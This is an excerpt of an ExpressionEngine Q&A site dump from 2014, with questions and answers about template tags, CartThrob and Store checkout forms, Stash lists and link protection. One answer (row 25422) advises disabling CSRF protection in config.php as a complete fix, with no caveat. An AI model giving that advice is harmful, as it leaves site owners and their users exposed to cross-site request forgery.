  <row Id="25415" PostTypeId="2" ParentId="25411" CreationDate="2014-08-29T22:24:04.607" Score="0" Body="&lt;p&gt;You will want to use &lt;code&gt;{total_results}&lt;/code&gt; to show the total. Something along the lines of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;products&quot; search_id=&quot;{segment_3}&quot; search:on_sale=&quot;yes&quot;}&#xA; {if count == 1}&#xA;  {total_results} Item{if total_results &amp;gt; 1}s{/if}&#xA; {/if}&#xA;All other fields go here &#xA;&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will show the total number of returned items&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-08-29T22:24:04.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25416" PostTypeId="1" CreationDate="2014-08-30T03:51:02.980" Score="0" ViewCount="100" Body="&lt;p&gt;I'm doing a customized Channel Form but I'm having trouble getting the options in the relations within my grid...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MENU (title)&#xA;» DISH (text on grid)&#xA;» » INGREDIENT (relationships on grid)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in my Channel Form I have tried to load ingredients with exp:channel:entries - but it only gets the entry_id / title from the entry being updated in the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out how the tag is build...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex.:&lt;pre&gt;&#xA;    &amp;lt; select multiple name=&quot;field_id_12[rows][new_row_0][col_id_4][data][]&quot;&gt;&#xA;        {dishes}&#xA;             {ingredients:entry_id} +&#xA;        {/dishes}&#xA;    &amp;lt; /select&gt;&#xA;&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who has the knowledge? :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THX&lt;/p&gt;&#xA;" OwnerUserId="3531" LastActivityDate="2014-10-28T20:50:52.537" Title="How to get the Channel Form » Grid » Relations options?" Tags="|channel-entries|safecracker|relationships|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25417" PostTypeId="2" ParentId="25178" CreationDate="2014-08-30T09:32:39.403" Score="0" Body="&lt;p&gt;What add-ons you had when you tried this update? &#xA;If you had Freeform you better take out this folder fro third party during the update and then simply add it back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be said for any other add-ons you just need to double check you don't have anything that can cause this hanging. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why you temporarily remove third party add-ons during the update. Right after wizard finishes - you can add them back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Any case by altering the config file version is working as well as long system files are updated and DB scripts are successful.&lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2014-08-30T09:32:39.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25418" PostTypeId="1" AcceptedAnswerId="25656" CreationDate="2014-08-30T15:33:17.010" Score="0" ViewCount="177" Body="&lt;p&gt;Trying to use CartThrobs Inline Errors within a add_to_cart_form to validate a simple form with two fields. For the &lt;strong&gt;price&lt;/strong&gt; field, the validation works, but for the &lt;strong&gt;item_options[invoice_number]&lt;/strong&gt; it does not. Here is the code for the form and both fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:cartthrob:add_to_cart_form &#xA;        return=&quot;/portal/checkout/&quot; secure_return=&quot;no&quot;&#xA;        on_the_fly=&quot;true&quot; allow_user_price=&quot;yes&quot;&#xA;        title=&quot;Invoice Payment&quot; quantity=&quot;1&quot;&#xA;        error_handling=&quot;inline&quot;&#xA;        rules:item_options[invoice_number]=&quot;required|is_numeric&quot;&#xA;        rules:price=&quot;required|is_numeric&quot;&#xA;        shipping_exempt=&quot;yes&quot; tax_exempt=&quot;yes&quot;&#xA;        }&#xA;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;six columns&quot;&amp;gt;&#xA;                {if error:item_options[invoice_number]}&amp;lt;span class=&quot;error&quot;&amp;gt;{/if}&#xA;                &amp;lt;label for=&quot;item_options[invoice_number]&quot;&amp;gt;Invoice #&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;item_options[invoice_number]&quot; class=&quot;textinput required&quot; value=&quot;&quot; /&amp;gt;       &#xA;                {if error:item_options[invoice_number]}&amp;lt;p&amp;gt;Enter a value.&amp;lt;/p&amp;gt;&amp;lt;/span&amp;gt;{/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;six columns end&quot;&amp;gt;&#xA;                {if error:price}&amp;lt;span class=&quot;error&quot;&amp;gt;{/if}&#xA;                &amp;lt;label for=&quot;price&quot;&amp;gt;Amount&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;price&quot; data-symbol=&quot;$&quot; class=&quot;textinput required dollar-amount&quot; value=&quot;&quot; /&amp;gt;&#xA;                {if error:price}&amp;lt;p&amp;gt;Enter a numeric value.&amp;lt;/p&amp;gt;&amp;lt;/span&amp;gt;{/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;              &#xA;                &amp;lt;input type=&quot;submit&quot; class=&quot;btn btn-large spacebeforesm&quot; value=&quot;Enter Payment Info &amp;amp;rarr;&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}.&#xA;Parser State: Unexpected ‘[’ (MISC); expected RD in Template “portal/pay-invoice” on line 27.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Line 27 is the first &lt;strong&gt;{if error:item_options[invoice_number]}&lt;/strong&gt;. It will render if I remove the brackets &lt;strong&gt;{if error:item_options}&lt;/strong&gt; Does not matter what value I insert between the brackets, the page will not render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cartthrob.com/docs/tags/global_form_settings/index.html#if-erroryour_field&quot; rel=&quot;nofollow&quot;&gt;Documentation&lt;/a&gt; doesn't indicate that it won't work with item_options. And as often as the item_options is used, it is also likely that it works with item_options.&lt;/p&gt;&#xA;" OwnerUserId="646" LastEditorUserId="646" LastEditDate="2014-08-30T15:42:10.210" LastActivityDate="2014-09-11T21:35:04.920" Title="CartThrob {if error:your_field} conditional not working for item_options" Tags="|cartthrob|conditionals|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25419" PostTypeId="2" ParentId="25078" CreationDate="2014-08-30T23:01:43.077" Score="1" Body="&lt;p&gt;I managed to get this working but only after two hours of debugging.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pin.net requires address-line1, address-city&lt;/li&gt;&#xA;&lt;li&gt;Using form.get(0).submit() will not work if you submit button has name=&quot;submit&quot; &lt;/li&gt;&#xA;&lt;li&gt;Store redirects you to the same page if no POST['submit'] is found. Your submit button must be named &quot;submit&quot; e.g. name=&quot;submit&quot;&lt;/li&gt;&#xA;&lt;li&gt;If you disable (disabled=&quot;disabled&quot;) your submit button it will not be &quot;POSTED&quot;, so Store will redirect you to the same page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So instead of using form.submit() i used a click handler on the submit button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my example code&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src='https://cdn.pin.net.au/pin.v2.js'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;script&amp;gt;&#xA;    // 1. Wait for the page to load&#xA;    $(function() {&#xA;&#xA;        // 2. Create an API object with your publishable api key, and&#xA;        // specifying 'test' or 'live'.&#xA;        //&#xA;        // Be sure to use your live publishable key with the live api, and&#xA;        // your test publishable key with the test api.&#xA;        var pinApi = new Pin.Api('pk_kmzTxiNh25A6lU1sZIgmqQ', 'test');&#xA;&#xA;        var form = $('form.pin');&#xA;        var submitButton = form.find(&quot;:submit&quot;);&#xA;        var errorContainer = form.find('.errors');&#xA;        var errorList = errorContainer.find('ul');&#xA;        var errorHeading = errorContainer.find('h3');&#xA;&#xA;        // 3. Add a submit handler to the form which calls Pin.js to&#xA;        // retrieve a card token, and then add that token to the form and&#xA;        // submit the form to your server.&#xA;        submitButton.click(function(e) {&#xA;            e.preventDefault();&#xA;&#xA;            // Clear previous errors&#xA;            errorList.empty();&#xA;            errorHeading.empty();&#xA;            errorContainer.hide();&#xA;&#xA;            // Disable the submit button to prevent multiple clicks&#xA;            submitButton.attr({disabled: true});&#xA;&#xA;            // Fetch details required for the createToken call to Pin Payments&#xA;            var card = {&#xA;                number:           $('#payment_card_no').val(),&#xA;                name:             $('#payment_name').val(),&#xA;                expiry_month:     $('#payment_exp_month').val(),&#xA;                expiry_year:      $('#payment_exp_year').val(),&#xA;                cvc:              $('#payment_csc').val(),&#xA;                address_line1:    $('#address-line1').val(),&#xA;                address_line2:    $('#address-line2').val(),&#xA;                address_city:     $('#address-city').val(),&#xA;                address_state:    $('#address-state').val(),&#xA;                address_postcode: $('#address-postcode').val(),&#xA;                address_country:  $('#address-country').val()&#xA;            };&#xA;&#xA;            // Request a token for the card from Pin Payments&#xA;            pinApi.createCardToken(card).then(handleSuccess, handleError).done();&#xA;&#xA;            return false;&#xA;        });&#xA;&#xA;        function handleSuccess(card) {&#xA;            // Add the card token to the form&#xA;            //&#xA;            // Once you have the card token on your server you can use your&#xA;            // private key and Charges API to charge the credit card.&#xA;            $('&amp;lt;input&amp;gt;')&#xA;                .attr({type: 'hidden', name: 'payment[token]'})&#xA;                .addClass('card_token')&#xA;                .val(card.token)&#xA;                .appendTo(form);&#xA;&#xA;            // Turn off the click handler and click it&#xA;            submitButton.off('click').val('processing...').removeAttr('disabled').click();&#xA;        }&#xA;&#xA;        function handleError(response) {&#xA;            // Empty the card token&#xA;            form.find('.card_token').val('');&#xA;&#xA;            errorHeading.text(response.error_description);&#xA;&#xA;            if (response.messages) {&#xA;                $.each(response.messages, function(index, paramError) {&#xA;                    $('&amp;lt;li&amp;gt;')&#xA;                        .text(paramError.param + &quot;: &quot; + paramError.message)&#xA;                        .appendTo(errorList);&#xA;                });&#xA;            }&#xA;&#xA;            errorContainer.show();&#xA;&#xA;            // Re-enable the submit button&#xA;            submitButton.removeAttr('disabled');&#xA;        }&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&#xA;{exp:store:checkout&#xA;    form_class=&quot;form-horizontal pure-form pure-form-stacked pin&quot;&#xA;    return=&quot;store_example/order/ORDER_HASH&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    payment_method=&quot;Pin&quot;&#xA;}&#xA;&#xA;    {if no_items}&#xA;        {redirect=&quot;store_example/checkout&quot;}&#xA;    {/if}&#xA;&#xA;    &amp;lt;div class='errors' style='display:none'&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;address_line-1&quot; value=&quot;{billing_address1}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;address_line-2&quot; value=&quot;{billing_address2}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;address_city&quot; value=&quot;{billing_city}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;address_state&quot; value=&quot;{billing_state}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;address_postcode&quot; value=&quot;{billing_postcode}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;address_country&quot; value=&quot;{billing_country}&quot;&amp;gt;&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Payment&amp;lt;/legend&amp;gt;&#xA;&#xA;        &amp;lt;label&amp;gt;Card No&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_no&quot; value=&quot;&quot;&amp;gt;&#xA;&#xA;        &amp;lt;label&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;payment_name&quot; value=&quot;&quot;&amp;gt;&#xA;&#xA;        &amp;lt;label&amp;gt;Expiry&amp;lt;/label&amp;gt;&#xA;        &amp;lt;select id=&quot;payment_exp_month&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;            {exp_month_options}&#xA;        &amp;lt;/select&amp;gt;&#xA;        &amp;lt;select id=&quot;payment_exp_year&quot; style=&quot;width:auto&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;            {exp_year_options}&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;label&amp;gt;CSC&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;payment_csc&quot; value=&quot;&quot; class=&quot;input-mini&quot;&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Place Order&quot;&amp;gt;&#xA;&#xA;{/exp:store:checkout}&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="934" LastActivityDate="2014-08-30T23:01:43.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25420" PostTypeId="1" AcceptedAnswerId="25426" CreationDate="2014-08-31T08:13:39.547" Score="0" ViewCount="96" Body="&lt;p&gt;I see that Store adds the order ID to incomplete orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is no accumulative counting of proper orders (orders miss IDS). Is there a way to change this so only actual orders receive an order ID?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="272" LastActivityDate="2014-08-31T23:12:18.520" Title="Incomplete orders - they add to order ID?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25422" PostTypeId="2" ParentId="23787" CreationDate="2014-08-31T14:56:23.187" Score="0" Body="&lt;p&gt;Add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your config.php and you're done. &lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2014-08-31T14:56:23.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25423" PostTypeId="1" CreationDate="2014-08-31T16:34:15.393" Score="0" ViewCount="776" Body="&lt;p&gt;I have a html structure where two entries are grouped into one div, so what I do is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;bullets&quot; dynamic=&quot;no&quot;}&#xA;     {switch='&amp;lt;div class=&quot;bullets&quot;&amp;gt;|'}&#xA;           &amp;lt;div class=&quot;col-lg-6 col-sm-6&quot;&amp;gt;&#xA;                                ...some content...&#xA;           &amp;lt;/div&amp;gt;&#xA;     {switch='|&amp;lt;/div&amp;gt;'}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works great as long as I have an even number of entries in the channel. If I have an odd number the closing  is not being added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if I can somehow do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_results mod 2 != 0}&#xA;   &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to make sure I have a closing tag if I have an odd number of entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3534" LastActivityDate="2014-08-31T23:03:21.810" Title="{Switch} and Mod for even/odd amount of entries" Tags="|channel-entries|switch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25424" PostTypeId="1" CreationDate="2014-08-31T20:43:08.610" Score="1" ViewCount="134" Body="&lt;p&gt;I am using Channel Images and obfuscating the links so a user cannot see the path, but I want to protect the full link using htaccess well. The user will be able to see the images, zips, or files in an EE template, but can direct link DL the source as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the nest way to check if user is logged into EE as a certain membership group before being able to access via a direct link? I have searched and saw that it can be done via an ACT url or a php script, but I have no idea how to write it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any existing modules or scripts out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-09-01T12:45:09.673" Title="Bets way to protect direct link?" Tags="|htaccess|authentication|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25425" PostTypeId="2" ParentId="25423" CreationDate="2014-08-31T23:03:21.810" Score="4" Body="&lt;p&gt;Well, if you want a modulus operator, use a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#modulus-operator&quot; rel=&quot;nofollow&quot;&gt;modulus operator&lt;/a&gt;!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_results % 2 != 0}&#xA;   &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe you can find it easier this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;bullets&quot; dynamic=&quot;no&quot;}&#xA;     {if count = 1 OR count % 2 == 1}&#xA;     &amp;lt;div class=&quot;bullets&quot;&amp;gt;&#xA;     {/if}&#xA;           &amp;lt;div class=&quot;col-lg-6 col-sm-6&quot;&amp;gt;&#xA;                                ...some content...&#xA;           &amp;lt;/div&amp;gt;&#xA;     {if count == total_results OR count % 2 == 0}&#xA;     &amp;lt;/div&amp;gt;&#xA;     {/if}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-08-31T23:03:21.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25426" PostTypeId="2" ParentId="25420" CreationDate="2014-08-31T23:12:18.520" Score="2" Body="&lt;p&gt;Actually Store creates an ID for each cart, not only incomplete orders. Currently there is no way around this. In the future we would like to take the current ID and call it a Cart ID and add a separate Order ID for complete orders.  &lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-08-31T23:12:18.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25427" PostTypeId="1" CreationDate="2014-09-01T03:12:27.510" Score="1" ViewCount="138" Body="&lt;p&gt;I've just updated an old EE 2.5.5 site to run EE 2.9.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site runs successfully after the update however in the control panel I am now seeing the Software Registration banner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed the link to the software registration page which asks for the license holder email and the license number which I have entered and submitted but the banner will not go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the &quot;license holder email&quot; the EllisLab account email address? (that is the one I have entered)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I am using NSM Config Bootstrap which &lt;em&gt;may&lt;/em&gt;(?) have something to do with this but I am not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt; file, I do see the lines for &lt;code&gt;$config['license_number']&lt;/code&gt; and &lt;code&gt;$config['license_contact']&lt;/code&gt; having been added and updated with the correct values that I have entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="234" LastActivityDate="2014-09-01T03:12:27.510" Title="How does the ExpressionEngine software registration screen and banner work?" Tags="|registration|license|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25428" PostTypeId="2" ParentId="25347" CreationDate="2014-09-01T07:03:47.397" Score="2" Body="&lt;p&gt;The documentation code is an &lt;em&gt;example&lt;/em&gt;, and therefore may need tweaking for fit your particular goals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File fields are different from &quot;regular&quot; fields, since no text or data is present inside the field when submitting, as you would have it with text fields for example. The above code simply serializes the form's &lt;em&gt;text&lt;/em&gt; data to be sent through ajax, and therefore the file attachment is not part of the submitted data. That also means no file is saved in the database, and no file attachment is sent with a notification email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link you provided ended with this comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Same functionality you can get by using &lt;a href=&quot;http://malsup.com/jquery/form/&quot; rel=&quot;nofollow&quot;&gt;Ajax Form&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would suggest building the form using this &lt;a href=&quot;http://malsup.com/jquery/form/&quot; rel=&quot;nofollow&quot;&gt;Ajax Form plugin&lt;/a&gt;. It's a fairly popular plugin, and has been around for a long time. The following is a &lt;strong&gt;very&lt;/strong&gt; old forum discussion about using this plugin with Freeform 3.x (could be used with any form using files, really), &lt;a href=&quot;http://www.solspace.com/forums/viewthread/666/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/666/&lt;/a&gt; Hopefully it's useful information in addition to the plugin's official documentation.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-01T07:03:47.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25429" PostTypeId="1" CreationDate="2014-09-01T07:55:51.110" Score="1" ViewCount="56" Body="&lt;p&gt;I'm still new to Stash and still in the process of wrapping my head around it. I'm developing a music site which will have four total channels.  On the homepage, I'll have a main section with the mix of all channels sorted by date. Then below that i'll have columns that will display a single channel (with entries that may already be included in the main section)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do I combine all the channels together into the one section. I would've thought using a pipe character would work like this, but that didn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;news_home|reviews_home|gallery_home&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- APPEND LIST --}&#xA;    {!-- GALLERY --}&#xA;    {exp:channel:entries channel=&quot;gallery&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot; require_entry=&quot;yes&quot; status=&quot;open&quot; limit=&quot;7&quot;}&#xA;        {exp:stash:append_list name=&quot;gallery_home&quot; parse_depth='2'}&#xA;            {stash:home_title}{title}{/stash:home_title}&#xA;            {stash:home_image_gallery}{gallery_thumbnail}{/stash:home_image_gallery}&#xA;        {/exp:stash:append_list}&#xA;    {/exp:channel:entries}&#xA;&#xA;    {!-- REVIEWS --}&#xA;    {exp:channel:entries channel=&quot;reviews&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot; require_entry=&quot;yes&quot; status=&quot;open&quot; limit=&quot;7&quot;}&#xA;        {exp:stash:append_list name=&quot;reviews_home&quot; parse_depth='2'}&#xA;            {stash:home_title}{title}{/stash:home_title}&#xA;            {stash:home_content}{content text_only=&quot;yes&quot;}{/stash:home_content}&#xA;        {/exp:stash:append_list}&#xA;    {/exp:channel:entries}&#xA;&#xA;    {!-- NEWS --}&#xA;    {exp:channel:entries channel=&quot;news&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot; require_entry=&quot;yes&quot; status=&quot;open&quot; limit=&quot;7&quot;}&#xA;        {exp:stash:append_list name=&quot;news_home&quot; parse_depth='2'}&#xA;            {stash:home_title}{title}{/stash:home_title}&#xA;            {stash:home_content}{content text_only=&quot;yes&quot;}{/stash:home_content}&#xA;        {/exp:stash:append_list}&#xA;    {/exp:channel:entries}&#xA;&#xA;{!-- GET LIST --}&#xA;{exp:stash:get_list name=&quot;news_home|reviews_home|gallery_home&quot; parse_tags=&quot;yes&quot; limit=&quot;7&quot; parse_conditionals=&quot;yes&quot;}    &#xA;                &amp;lt;div class=&quot;box {switch='one|two|three|four|five|six|seven'}&quot; &amp;gt;&amp;lt;a href=&quot;/{home_short_name}/{home_url_title}&quot; title=&quot;{home_title}&quot;&amp;gt;&amp;lt;h2&amp;gt;{home_title}&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="990" LastActivityDate="2014-09-01T07:55:51.110" Title="Combining Stash lists" Tags="|stash|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25432" PostTypeId="1" CreationDate="2014-09-01T09:02:27.237" Score="0" ViewCount="138" Body="&lt;p&gt;On my shopping cart page I'd like to display the total (inc tax &amp;amp; discounts!) but not including shipping costs. I can't find a tag for this unless I'm missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2848" LastActivityDate="2015-11-27T18:27:16.673" Title="Display cartthrob subtotal + tax + discount - shipping" Tags="|cartthrob|ecommerce|tags|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25433" PostTypeId="2" ParentId="25432" CreationDate="2014-09-01T09:52:06.130" Score="1" Body="&lt;p&gt;I haven't tested it, but I'm assuming the {exp:cartthrob:cart_subtotal_minus_discount} tag doesn't include the tax?  Perhaps then it would be best to calculate the {exp:cartthrob:cart_subtotal_minus_discount} + {exp:cartthrob:cart_tax} values using javascript or an EE math plugin like one of these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/math&quot; rel=&quot;nofollow&quot;&gt;EE Math Plugin&lt;/a&gt;&lt;br /&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calculator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-09-01T09:52:06.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25434" PostTypeId="2" ParentId="25424" CreationDate="2014-09-01T10:24:13.287" Score="1" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/protected-links&quot; rel=&quot;nofollow&quot;&gt;Protected Links&lt;/a&gt;. This will allow you to limit link usage by IP, Member group, Member ID as well as hotlinking protection (and more I think!)&#xA;You can also create links via the CP or have it generate links on-the-fly.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-01T10:24:13.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25437" PostTypeId="1" AcceptedAnswerId="25467" CreationDate="2014-09-01T12:34:27.527" Score="0" ViewCount="105" Body="&lt;p&gt;If I'm using expression engine just using backend (for example I just write the blogs I don't code with the developer), no exposure to the code, how do I view the total amount of entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I filter those entries to show me how many drafts, how many published and so on? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems trivial but I don't know the answer. &lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2014-09-02T21:07:48.533" Title="How to check total amount of entries in a channel" Tags="|channel-entries|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
